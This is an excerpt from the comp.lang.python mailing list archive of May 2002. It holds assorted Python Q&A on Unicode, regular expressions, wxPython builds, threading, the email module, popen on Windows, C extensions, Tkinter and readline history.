writes: > Either the str () function or do something like: > > string = "%s" %attrib That is undesirable: it uses the default encoding to convert from the Unicode string to the byte string, and shouldn't be used. Using .encode with an explicit specification of the encoding is much better. Regards, Martin From bh at intevation.de Fri May 17 11:56:50 2002 From: bh at intevation.de (Bernhard Herzog) Date: 17 May 2002 17:56:50 +0200 Subject: Bug in regular expressions ? References: <20020517175527.76c55aea.christophe.delord@free.fr> Message-ID: <6qadqyydh9.fsf@abnoba.intevation.de> Christophe Delord writes: > Hi, > > I thought that regular expressions were greedy, so that the longuest match is returned by match(). > Consider these expressions : 'a|aa', 'aa|a' and 'aa?' [...] > So A|B and B|A are not always equivalent. When A and B match, B is > ignored even if the matched text is longer. Is this a bug in the re > module? No. It works as documented. > Is there a way to tell re to be "totaly greedy"? List the longer alternatives first. Other than that, I don't know. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From aleax at aleax.it Thu May 9 02:12:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 06:12:48 GMT Subject: "a better input" References: <080520021314438230%alexis.layton@post.harvard.edu> Message-ID: Alexis Layton wrote: ... > What about allowing the following behavior for a "safe" input: > read a line > trim whitespace on both sides No need to do that for the following step (only before you return the string, if then). > attempt to parse the string as a Python boolean, integer, real, or > complex* literal > otherwise return a the string > > *I realize there are no true complex literals, we'd have to do a little > extra work here What extra work? >>> complex('23+45j') (23+45j) >>> Alex From aleax at aleax.it Wed May 1 16:10:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 20:10:22 GMT Subject: os.environ.copy()['COPY_HUH'] = "not really" References: <20020430152022.I17488@unpythonic.net> <0AUz8.25621$Lj.1995635@bin4.nnrp.aus1.giganews.com> Message-ID: Terry Reedy wrote: ... >> dict(os.environ) seems a better solution to me. It's a general way > to >> make a dictionary from any generic mapping, after all. > > I thought of this and would agree if dict knows how to handle an > os._Environ object, but I don't know if it does and am not prepared to > test at the moment. _any_ generic mapping: >>> class fake: ... def keys(self): return range(4) ... def __getitem__(self, indx): return indx ... >>> dict(fake()) {0: 0, 1: 1, 2: 2, 3: 3} >>> i.e., anything with a .keys() argument-less method returning a list of hashables, and a __getitem__ that returns a value for each item of that list -- one could hardly ask less of "a mapping":-). Alex From gerhard at bigfoot.de Fri May 24 10:17:46 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 24 May 2002 14:17:46 GMT Subject: New to Python... References: Message-ID: Ken wrote in comp.lang.python: > Hi, I am new to python. Have you looked into the fine tutorial, yet? Most probably your Python installation already includes it, but it's also available online at http://www.python.org/doc/current/tut/tut.html > I am just wondering how different it is from C++? I'd stop wondering and just try it out ;-) > Also, how does python get mixed in with HTML to generate a webpage? Argh. Yes, it's possible to mix Python and HTML and almost everybody who is into the Web thing with Python has probably done it himself. So there are tons of possibilities out there. Python is very well suited for web application development. Useful URLs, once you've learnt Python basics: http://www.python.org/topics/web/ http://www.boddie.org.uk/python/web_frameworks.html http://www.boddie.org.uk/python/web_modules.html http://py.vaults.ca/parnassus/apyllo.py/812237977.127386987 Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From mark_mcgrath at agilent.com Thu May 16 19:48:27 2002 From: mark_mcgrath at agilent.com (mark_mcgrath at agilent.com) Date: Thu, 16 May 2002 17:48:27 -0600 Subject: joining the mailing list Message-ID: Hi, I would like to join the mailing list. Thanks Mark From b_mcerlean at yahoo.com Tue May 14 10:27:27 2002 From: b_mcerlean at yahoo.com (Brian McErlean) Date: 14 May 2002 07:27:27 -0700 Subject: OT: Crazy Programming References: Message-ID: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) wrote in message news:... > In article , Oleg > Broytmann wrote: > >Hello. Little amusing offtopic. ;) > > > > There is a nice idead pointed to by /. - a file with a program(s) that > >solves a Perl Golf job. The amusing part is that the file contains the > >program in 4 different languges! > [snip] > > Hm. I remember seing a program that could be run in 6 different > languages once (including PostScript)... I don't remember where I saw > it, though -- it was on some obscure ftp server somewhere. (Or perhaps > it was even gopher -- don't remember.) Probably this one : http://www.nyx.net/~gthompso/poly/polyglot.txt Also, some other examples of polyglots are here: http://www.nyx.net/~gthompso/poly/polyglot.htm Brian. From erict at millfilm.co.uk Wed May 15 13:13:20 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Wed, 15 May 2002 18:13:20 +0100 Subject: compile error in building wxPython Message-ID: <3CE29730.946349BD@millfilm.co.uk> If someone can understand what is going on, it will be great: I followed the direction all the way by building Pyopengl, wxGTK (PyOpenGL-2.0.0.44, wxGTK-2.3.1) but now I can compile the first cpp of the wxPython (wxPython-2.3.2.1) file: %gcc --version 2.96 % python setup.py build Preparing CORE... Preparing GLCANVAS... Usage: wx-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] [--libs] [--cppflags] [--cflags] [--cxxflags] [--cc] [--cxx] [--ld] wx-config returns configuration information about the installed version of wxWindows. It may be used to query its version and installation directories and also retrieve the C and C++ compilers and linker which were used for its building and the corresponding flags. Preparing OGL... Preparing STC... Preparing XRC... Preparing GIZMOS... Preparing DLLWIDGET... running build running build_py running build_ext building 'wxc' extension gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -fPIC -DSWIG_GLOBAL -DHAVE_CONFIG_H -DWXP_USE_THREAD=1 -Isrc -I/usr/people/erict/bin/include/python2.2 -c src/helpers.cpp -o build/temp.linux-i686-2.2/src/helpers.o -I/usr/people/erict/bin/include -I/usr/people/erict/bin/lib/wx/include -D__USE_WXCONFIG__ -DGTK_NO_CHECK_CASTS -D__WXGTK__ -I/usr/include/gtk-1.2 -I/usr/include/glib-1.2 -I/usr/lib/glib/include -I/usr/X11R6/include src/helpers.cpp: In function `PyObject *wxPyMake_wxObject (wxObject *, bool)': src/helpers.cpp:318: no matching function for call to `wxEvtHandler::GetClientObject ()' src/helpers.cpp:339: no matching function for call to `wxEvtHandler::SetClientObject (wxPyClientData *&)' src/helpers.cpp: In function `PyObject *wxPyMake_wxSizer (wxSizer *)': src/helpers.cpp:362: no matching function for call to `wxSizer::GetClientObject ()' src/helpers.cpp:371: no matching function for call to `wxSizer::SetClientObject (wxPyClientData *&)' src/helpers.cpp: In function `void wxPyEndBlockThreads ()': src/helpers.cpp:537: warning: unused variable `PyThreadState *tstate' src/helpers.cpp: In function `PyObject *PyFindClassWithAttr (PyObject *, PyObject *)': src/helpers.cpp:679: warning: control reaches end of non-void function error: command 'gcc' failed with exit status 1 From pinard at iro.umontreal.ca Mon May 20 10:54:19 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 20 May 2002 10:54:19 -0400 Subject: multithreading In-Reply-To: References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: [Aahz] > In article <87sn4n6gz9.fsf at kursk.kassube.de>, > Nils Kassube wrote: > >Multithreading is a very big stability risk if you don't know exactly > >what you are doing, i.e. most programmers most of the time. > Depends what you're trying to do. Multi-threading has been very welcome in some of my projects. However, I'm rather uncomfortable about precisely knowing whether various Python usages are atomic or not, and which parts of the Python library are thread-safe. Someone once suggested: "Try, and you will see!". The fact that something works never proves it is correct, nor that it will always work. Short of precise documentation on these things, I feel a bit lost when I observe lack of stability. So I sometimes abuse of this thread-off option in my things. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From dkt at registriesltd.com.au Sun May 12 23:50:34 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Mon, 13 May 2002 13:50:34 +1000 Subject: which db should I use? In-Reply-To: ; from warlock@eskimo.com on Sun, May 12, 2002 at 08:11:50PM -0700 References: Message-ID: <20020513135034.C4320@regdp-02.intint.registriesltd.com.au> On Sunday 2002-05-12 at 20:11:50 -0700, Jim Richardson wrote: > stuff) But I don't know which db module would work better for me?I am > running this on a linux box, and cross platform is not a big deal, I am > looking at both postgres and mysql. Since I have 0 experience with > either one especially in context of interfacing with python. I'd like > suggestions please. You could have a look at the Firebird database, which is an industrial strength client-server database, originally designed for embedded systems use, so it's low maintenance and easy to install. Have a look at http://firebird.sourceforge.net/ and http://www.ibphoenix.com/ A Python interface is available, of course, as well as a Zope database adapter. David Trudgett From luke.leighton at aspextechnology.com Thu May 2 13:01:59 2002 From: luke.leighton at aspextechnology.com (Luke Kenneth Casson Leighton) Date: Thu, 02 May 2002 17:01:59 +0000 Subject: [PEP] matching and mismatching Message-ID: <3CD17107.A862ED1B@aspextechnology.com> this is an initial proposal idea which i would like to bounce around with people, to find out if it's a good idea or even in fact if something like it has already been added or considered. the idea: a function/operator similar to map and reduce _or_ a keyword similar to "in", such that: for x in ([1,3,2,5,9] matching lambda x:x > 2): print x will output: 3 5 9 or the equivalent to like map/reduce: print matching([1,2,3], lambda x:x > 2) will output: [3] now, the justification for this, instead of having this: for x in [1,3,2,5,9]: if x > 2: print x is for parallelisation reasons. the for-loop-plus-if-statement cannot be expected to be parallelised [in a massively parallel architecture] because the code-flow is _expected_ to be sequential. a matching (and its corresponding mismatching) operator/function _could_, like map, be parallelised, and optimised on parallel hardware / co-processor support. what do people think? luke. -- This email and any files transmitted with it, including replies and forwarded copies subsequently transmitted from Aspex Technology Limited, are confidential and solely for the use of the intended recipient. Any opinions expressed in this email are those of the individual and not necessarily those of Aspex Technology Limited. If you are not the intended recipient, be advised that you have received this email in error and that any use is strictly prohibited. If you have received this email in error, please notify us immediately by e-mail and delete the original message without keeping any copies. Aspex Technology Limited is registered in England and Wales No.3469577. The registered office for Aspex Technology Limited is York House, Cottingley Business Park, Bradford, BD16 1PF. From martin at v.loewis.de Thu May 9 04:00:07 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 10:00:07 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > > For Python, existing code, like inspect.py, *will* break: if introspective > > code is suddenly confronted with non-ASCII identifiers, it might break, > > e.g. if Unicode objects show up as keys in __dict__. > > Should I read that one may not use Unicode strings as dictionary keys? No, that is certainly possible. Also, a byte string and a Unicode string have the same hash value and compare equal if the byte string is an ASCII representation of the Unicode string, so you can use them interchangably inside a dictionary. It's just that introspective code won't *expect* to find Unicode objects as keys of an attribute dictionary, and will likely fail to process it in a meaningful way. > One would expect Python to support narrow and wide strings equally well. > In that precise case, `inspect.py' would need to be repaired, indeed. > A lot of things have been "repaired" when Unicode was introduced into > Python, I see this as perfectly normal. It is part of the move. If only inspect.py was affected, that would be fine. However, that also affects tools from other people, like PythonWin, which "we" (as Python contributors) could not fix that easily. > Most probably. If national identifiers get introduced through Latin-1 or > UTF-8, the problem appears smaller. But I agree with you that for the > sake of Python being useful to more countries, it is better going the > Unicode way and afford both narrow and wide characters for identifiers. > This approach would also increase Python self-consistency on charsets. Indeed, the OP probably would not be happier if Python allowed Latin-1. Using UTF-8 might reduce the problems, but would be inconsistent with the rest of the character set support in Python, where Unicode objects are the data type for text-with-specified-representation. Regards, Martin From bragiba at simi.is Thu May 16 07:30:38 2002 From: bragiba at simi.is (Bragi Baldursson) Date: 16 May 2002 04:30:38 -0700 Subject: Email module Message-ID: How do I create a message that contains both text and attachemnts. In the example given on the module page it shows how to create a message with a bunch of photos in it. I would like to additionally be able to add some text to the message body. msg = MIMEBase('multipart', 'mixed') msg['Subject'] = 'Our family reunion' msg['From'] = me msg['To'] = COMMASPACE.join(family) msg.preamble = 'Our family reunion' # I WOULD LIKE TO ADD SOME PERSONAL NOTES INTO MESSAGE NOT AS A TEXT FILE ATTACHMENT # Guarantees the message ends in a newline msg.epilogue = '' # Assume we know that the image files are all in PNG format for file in pngfiles: # Open the files in binary mode. Let the MIMEIMage class automatically # guess the specific image type. fp = open(file, 'rb') img = MIMEImage(fp.read()) fp.close() msg.attach(img) From matt at mondoinfo.com Sun May 26 15:38:08 2002 From: matt at mondoinfo.com (Matthew Dixon Cowles) Date: Sun, 26 May 2002 19:38:08 GMT Subject: email module in 2.2 References: Message-ID: On Sun, 26 May 2002 02:09:38 -0500, Alex Russell wrote: Dear Alex, >Aparently this fixes all my problems (and now I'm MUCH happier with >the email module =) I'm glad to hear it. >I sincerely apologize for wasting everyone's time. There's no need to apologize as far as I'm concerned. If bugs were always where we were looking for them, it would take all the fun out of coding . Regards, Matt From whisper at oz.net Sun May 12 15:56:00 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 12 May 2002 12:56:00 -0700 Subject: python, a scripting language? In-Reply-To: Message-ID: I think the term "scripting language" is more about use then how the language works. Java, Ruby, Perl, Python, Tcl, C and even C++ can be used as scripting languages. I think the term implies that it can be embedded into an application to provide scripting for that app. I think your friend was just trying to imply that python is somehow a lesser language because it can be used for scripting. Heh - Python can do everything Java can do, nearly as fast (more then fast enough for most applications) and it's not only faster and easier to code in, it's also easier to embed and extend Python then Java. Ask your friend how he likes silly.irritatingly.and.excedingly.long.paths.to.classes :-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Erlend J. Leiknes > Sent: Sunday, May 12, 2002 12:14 > To: python-list at python.org > Subject: python, a scripting language? > > > A friend of mine which is a java programmer insists on that python is > scripting language... > > I belive the term "script" is outdated because of "precompilation". > The term for a script-language is that you write and run your program as > text? > > Anyway... I would be happy to hear some reasons why python is not a > scripting language... > > > Erlend J. Leiknes > > > > -- > http://mail.python.org/mailman/listinfo/python-list From wilk at flibuste.net Sun May 26 10:22:09 2002 From: wilk at flibuste.net (William Dode) Date: Sun, 26 May 2002 16:22:09 +0200 Subject: library/module name Message-ID: <20020526162209.2801e4e4.wilk@flibuste.net> hi, Is-there a rule to give a name for a new library/module to be sure that it will not conflict with an other one with the same name ? On java, the rule is the oposite of internet domain name net.flibuste.mypackage... for me. thanks -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From cliechti at gmx.net Sat May 25 17:26:02 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 23:26:02 +0200 Subject: RS232 + python... References: Message-ID: "SneakerNet" wrote in news:P7TH8.2973$EZ5.415135 at news.xtra.co.nz: > ImportError: No module named win32file win32all: http://starship.python.net/crew/mhammond/ chris -- Chris From logiplexsoftware at earthlink.net Wed May 1 16:59:30 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 13:59:30 -0700 Subject: Macintosh Question In-Reply-To: References: Message-ID: <20020501135930.6687acf4.logiplexsoftware@earthlink.net> On Tue, 30 Apr 2002 15:59:10 -0700 Bryce C. Mason wrote: > I developed a script in windows which opens a file, does "stuff" to it, and > writes a few files back to the disk. > > How do I do the "drag and drop" Macintosh version? I want the user to have > my python script on his desktop and all he has to do is drag the file over > the script, let go, and out pop the files the script generates right on his > desktop. Not a Mac user, but perhaps dropping a file on the icon will call the script with the name of the dropped file as an argument? If so then you can use either sys.argv or getopt.getopt to access the filename. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From sholden at holdenweb.com Tue May 7 08:34:53 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 08:34:53 -0400 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> Message-ID: "John Machin" wrote in message news:c76ff6fc.0205061540.6e68480f at posting.google.com... > "Steve Holden" wrote in message news:... > > "Tiberius Teng" wrote in message > > news:6c92a8bc.0205060225.46b1c6c9 at posting.google.com... > > > robline at purdue.edu (Rob Lineberger) wrote in message > > news:<84773476.0205052134.8c1d533 at posting.google.com>... > > [Rob Lineberger] > Tried setting PYTHONPATH to C:\Python22\Lib but that didn't work > either. > > -> PYTHONPATH should include that already. > > [Tiberius Teng] > However if you put your spam.py in C:\Python22\Lib then typing 'import > spam' inside Pythonwin / IDLE should work ... > > -> Ugh. *DON'T* put your own files in there. Do you really want to run > the risk of overwriting a Python-supplied file with one of your own? > Also think ahead to when the next version of Python comes out. Do you > really want to have to move all your files to c:\python23\lib ? How > will you know which are yours? > > [Rob Lineberger] > I'm trying to learn Python > [Steve Holden] > ... writing a site-specific /Lib/sitecustomize.py > > -> Correct, but is this useful advice to a newbie at the level of > "can't work out where to put his module so that he can import it"? > Possibly not, but it *was* preceded by advice to set PYTHONPATH and examine the role of sys.path. > Here's an alternative: > 1. Make a directory called (say) c:\mypy. > 2. Save spam.py in c:\mypy > 3. Fire up a DOS box / Command Prompt / whatever window. > 4. DOS_prompt> cd \mypy > 5. DOS_prompt> python > 6. >>> import spam > 7. >>> spam.some_function() Correct, but is this helpful to a newbie who wants to run his programs somewhere other than where they live? :-) Seriously, I hope the combination of suggestions Rob has received (including yours, which highlights the role of the current directory) will have helped him solve his problem. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From jkn at nicorp.f9.co.uk Tue May 28 10:08:00 2002 From: jkn at nicorp.f9.co.uk (Jon Nicoll) Date: 28 May 2002 07:08:00 -0700 Subject: popenX() misunderstanding on win32 References: <8351bb33.0205200920.67743afb@posting.google.com> Message-ID: <8351bb33.0205280607.215b01d2@posting.google.com> [repost - my previous attempt didn't seem to get through] Following the useful comments from Steve Holden et. al., I made some progress. I'll post a snippet to (a) show what works (so far) and (b) to invite further comment. I improved things by adding an fflush() to my program's printf() statement. -- /* upper.c - turn lower-case standard input into upper case, crudely */ #include #include #include int main(int argc, char *argv[]) { int i; static char io[2048]; while (1) { fgets(io, 2047,stdin); for (i = 0; i < strlen(io); i++) { if (islower(io[i])) io[i] = toupper(io[i]); } printf("%s\n", io); fflush(stdout); /* this is the line I added */ } return 1; } --- PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information. > >>> import os >>> po, pi = os.popen2("d:\\temp\\upper.exe", 't') >>> po.write("junk\n") >>> pi.readline() 'JUNK\n' # good! ;-) >>> pi.readline() '\n' # OK >>> pi.readline() # don't do this! - will block -- I do take the point about this all being rather fragile though. Any suggestions? Thanks & Regards Jon N From gerhard at bigfoot.de Wed May 15 12:43:54 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 15 May 2002 18:43:54 +0200 Subject: A couple questions In-Reply-To: <5735eug1qqu1mn38s16svempcff7obqp7t@4ax.com> References: <5735eug1qqu1mn38s16svempcff7obqp7t@4ax.com> Message-ID: <20020515164354.GC16182@lilith.my-fqdn.de> * Gon?alo Rodrigues [2002-05-15 17:33 +0100]: > 2. What is the pythonic way to traverse a list while modifying it? Put > in another way, is > > for i in range(len(mylist)): > > > safe or am I bound to use a while loop with an explicit counter? As long as the length of the list stays constant, they're one and the same thing, arent't they? Except with a while-loop, len(mylist) is calculated on every loop iteration, while the range is only built once. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From arturs at iidea.pl Sun May 5 16:05:21 2002 From: arturs at iidea.pl (Artur Skura) Date: Sun, 5 May 2002 20:05:21 +0000 (UTC) Subject: Choose Your Own Adventure References: Message-ID: Philip Swartzleonard wrote: > Anyway, if you have not alreay done so, you should hook up with the > Interactive Fiction (text-adventure) community, [...] What about licensing issues? Are people allowed to change other peoples' games, redistribute them, port to other engines? Regards, Artur -- http://www.anmesty.org.pl http://www.wolneprogramy.org http://mf.gnome.pl From shalehperry at attbi.com Sat May 11 11:19:40 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 11 May 2002 08:19:40 -0700 (PDT) Subject: path.startswith(dir)? In-Reply-To: Message-ID: On 10-May-2002 Magnus Lie Hetland wrote: > I've got some code which tests for > > commonprefix([dir, filename]) == dir > > Assuming that dir ends with a separator (e.g. '/'), it ought to be > just as safe (and more concise) to use > > filename.startswith(dir) > > no? > > And -- ensuring that dir ends with a separator can be done with > > dir = join(dir, '') > > This ought to be a safe/platform independent way of doing it, right? > Sorry for not noticing the hidden os.path import. Could you show us say 10 lines or so of this code being used? From the above code it looks ok, but may have hidden snags. Than again, maybe this is simple and I am not seeing it. From boogiemorg at aol.com Fri May 3 12:11:42 2002 From: boogiemorg at aol.com (David Morgenthaler) Date: 3 May 2002 09:11:42 -0700 Subject: self in extension method Message-ID: My question concerns getting access to self (an instance object) in a C extension. I'm trying to implement an extension method, but when I call the method, self always evals to Py_None. Here's the gist of what I'm trying: # The Python part class A: def __init__(self): ... def methodofinterest(self,a,b,c): # Python implementation try: from A_ import methodofinterest_ A.methodofinterest = methodofinterest_ except ImportError: pass ======================= // The C part static PyObject* methodofinterest_(PyObject *self, PyObject *args) { PyObject_Print(self); //etc. } ======================= When, in Python, I invoke a.methodofinterest(1,2,3), the above PyObject_Print always prints . How do I get self to give me the instance a? Thanks in advance, From claird at starbase.neosoft.com Thu May 9 00:00:22 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 8 May 2002 23:00:22 -0500 Subject: Moving things in Tkinter References: <659f82ff.0205061040.14c36c09@posting.google.com> <13285ea2.0205070644.56ec7365@posting.google.com> Message-ID: <1220A13567CB67FD.EDE1C15ACD9D2DAD.EF90523271AB23CB@lp.airnews.net> In article <13285ea2.0205070644.56ec7365 at posting.google.com>, J.Jacob wrote: >You want to click on an image and move it with the mouse. > >Put the image on a Tkinter canvas. Catch the mouse events and bind >them to your function that moves the image, like: >myfancycanvas.bind('', selectimagefunction ) >myfancycanvas.bind('', moveimagefunction ) > >The callback functions have to have an event in their header, like: >def moveimagefunction(event): > yourcode = here > >This is off the top of my head and i am not sure about the correct >event strings but this is about what i would do. > >I think you need a book about Tkinter programming, the best thing i >found was the chapters in Programming Python from Mark Lutz. There is >another book on Tkinter programming but i could never get my hands on >it. John Grayson's --recommended. It really accomplishes quite a bit more than Mark's, in regard to Tkinter. Rather than -, I've found the best codings of this sort of drag-and-drop functionality are likely to be in terms of -. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From moc.q-dnan-p at p-nand-q.com Tue May 28 04:21:56 2002 From: moc.q-dnan-p at p-nand-q.com (Gerson Kurz) Date: Tue, 28 May 2002 08:21:56 GMT Subject: The email package and KLEZ mails Message-ID: <3cf33c82.91718234@News.CIS.DFN.DE> I'm using the email module (new in Python 2.2) to analyze messages for spam and HTML content. However, I get exceptions when analyzing KLEZ generated mails, which is disappointing since I'm trying to filter them in the first place. Anyway, the callstack boils down to: File "C:\Python22\lib\email\Parser.py", line 81, in _parseheaders raise Errors.HeaderParseError( 'Not a header, not a continuation: "%s"' % line) HeaderParseError: Not a header, not a continuation: "--X675I6X36yZg9J7wg290j" Note that I manually added the "%s" bit to the source of Parser.py, to see what exactly causes the error, the rest of the file is unchanged. Now, when I look at the email headers, they look something like this: Received: from mcrt-kl-my-1.inter-touch.net (203.121.124.130) by Shicks! Version 0.9 on darkstar at Tue May 28 08:56:17 2002 Received: from Nrdqtbuem ([203.121.124.154]) by mcrt-kl-my-1.inter-touch.net (8.9.3/8.9.3) with SMTP id PAA29881 for <...(some address here)...>; Tue, 28 May 2002 15:56:49 +0800 Date: Tue, 28 May 2002 15:56:49 +0800 Message-Id: <...(some msgid here)...> From: jraj_5 <...(some address here)...> To: ...(some address here)... Subject: A good tool MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=X675I6X36yZg9J7wg290j --X675I6X36yZg9J7wg290j Content-Type: text/html; ... (Rest of mail stripped)... and the email package seems to be missing the correct boundary syntax. From whisper at oz.net Thu May 9 19:48:21 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 9 May 2002 16:48:21 -0700 Subject: Python stagnating? In-Reply-To: Message-ID: You want to be really helpful, send them the cron job so they can do it themselves LOL. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Aahz > Sent: Thursday, May 09, 2002 15:12 > To: python-list at python.org > Subject: Re: Python stagnating? > > > In article , > Steve Holden wrote: > >"Aahz" wrote ... > >> In article , > >> Chris wrote: > >>> > >>>What is the status of Python development? Or the supporting > >>>organization? I notice a lot of links in the FAQ and other documents > >>>are outdated/broken, and surfing the web I saw a lot of references to > >>>the "Python Starship" but it looks like it hasn't been updated in a > >>>few years... > >> > >> If you're referring to broken links on python.org, please send > e-mail to > >> webmaster at python.org. Starship has been somewhat stagnant for a while, > >> but there's been some recent discussion about reviving it. > >> > >> Python development, of course, is anything but stagnant, as any number > >> of threads complaining about too much change would tell you. ;-) > > > >I'm just running webchecker on www.python.org, and it does > appear that there > >are a number of broken links. Should I send the output to webmaster? > > Sure! You wanna be really helpful, set up a cron job to automatically > do this once per month. ;-) > -- > Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk -- http://mail.python.org/mailman/listinfo/python-list From brian at sweetapp.com Wed May 22 20:52:30 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Wed, 22 May 2002 17:52:30 -0700 Subject: "casting" Python objects In-Reply-To: Message-ID: <000001c201f4$1e17f610$445d4540@Dell2> David LeBlanc wrote: > Unlike a typed language like C++, containers like arry or dictionary are > containers of any object, not just some particular type. Python is a typed language. In fact, it is strongly typed. However, type checking is done at runtime, unlike languages like Java and C++, where it is done at compile time. So Python is strongly dynamically typed, Java is strongly statically typed and Perl is weakly (dynamically) typed. Cheers, Brian From pinard at iro.umontreal.ca Sat May 25 12:46:34 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 25 May 2002 12:46:34 -0400 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? In-Reply-To: References: Message-ID: [Peter F. Ferris] > I would like to think no one in the group is a spammer (I may be naive at > times!). It might be unrelated, or not. I care for a few lists opened to subscribers only, and recently, I saw unwanted email circulating on them. In the few cases I looked into a bit more closely, originators were all running Microsoft emailing agents, and had their systems infected. So I guess subscribers had these messages sent against their will -- I mean, once we accept to disregard the will they have for running questionable software :-). -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From seeger at sitewaerts.de Wed May 29 09:10:46 2002 From: seeger at sitewaerts.de (Felix Seeger) Date: Wed, 29 May 2002 15:10:46 +0200 Subject: read only the last x bytes from a text file Message-ID: Hi I am writing a log monitor. It checks the filesize and the new filesize. Now I want only the difference between this vars. eg read the last 1000 bytes from the file. How can I do this ? thanks have fun Felix From jbreen at nospam.com Thu May 30 17:57:07 2002 From: jbreen at nospam.com (John J Breen) Date: Thu, 30 May 2002 17:57:07 -0400 Subject: pygtk Message-ID: <3CF6A033.69F7918A@nospam.com> Hey all, I have a pygtk question. I would like to create a scrollable window that contains several other scrollable text widgets. I want the text widgets to be somewhat large so that I can only fit four on each "page" of the window containing all of them. So to get to text widgets 5-8 you would have to use the outer most scroll buttons to scroll down and take a look at the others. Would a layout widget be my best bet? Or is there some way to make a scrollable table widget? So far I have been trying to use the layout widget but it doesnt seem to be working correctly. The arrows on the scroll bars disappear and there is some other strange behavior. Thanks John Breen From op73418 at mail.telepac.pt Thu May 9 08:11:45 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 09 May 2002 13:11:45 +0100 Subject: help needed on generator References: <5lijdu8recmu4sgrmgq1m95fgqg8p3brjg@4ax.com> Message-ID: On Wed, 8 May 2002 21:38:17 -0500, "Mark McEahern" wrote: >[Gon?alo Rodrigues] > >> I've coded this generator to traverse a directory tree. > >1. First of all, check this out: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/105873 > >2. In this section of your code, you are calling the generator: > >> if predicate(dirname): >> dirtree(os.path.join(root, dirname), predicate) > >But with a generator, you need to iterate over it. Consider replacing the >second line there with this: > > for x in dirtree(os.path.join(root, dirname), predicate): > yield x > >> When I feed "C:" to the sucker (run as script) only "C:" gets printed. >> Can anyone point out to me what I am doing wrong? > >3. Why C: and not r'C:\'? C: is the current directory on C:, true? Maybe >that's what you want, eh? I did feed "C:\\" but it got trimmed when writing the post. > >I hope this helps. Yes. Now that the error was pointed *it is obvious*. > >Cheers, > >// mark Thanx to all that answered, Gon?alo Rodrigues From jochen at jochen-kuepper.de Thu May 2 00:47:47 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 02 May 2002 00:47:47 -0400 Subject: Command history in python shell under linux References: Message-ID: On Wed, 01 May 2002 23:01:27 -0500 Stephen Boulet wrote: Stephen> When I hit the up arrow in the python shell, I get: Stephen> ^[[A Stephen> How do I set up things so that I get the previous command? Thanks. >From my ,----[~/.pythonrc.py] | # readline | try: | import readline | except ImportError: | print "Module readline not available." | else: | import rlcompleter | readline.parse_and_bind("tab: complete") | | import os | histfile = os.path.join(os.environ["HOME"], ".python_history") | try: | readline.read_history_file(histfile) | except IOError: | pass | import atexit | atexit.register(readline.write_history_file, histfile) | del os, histfile `---- Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 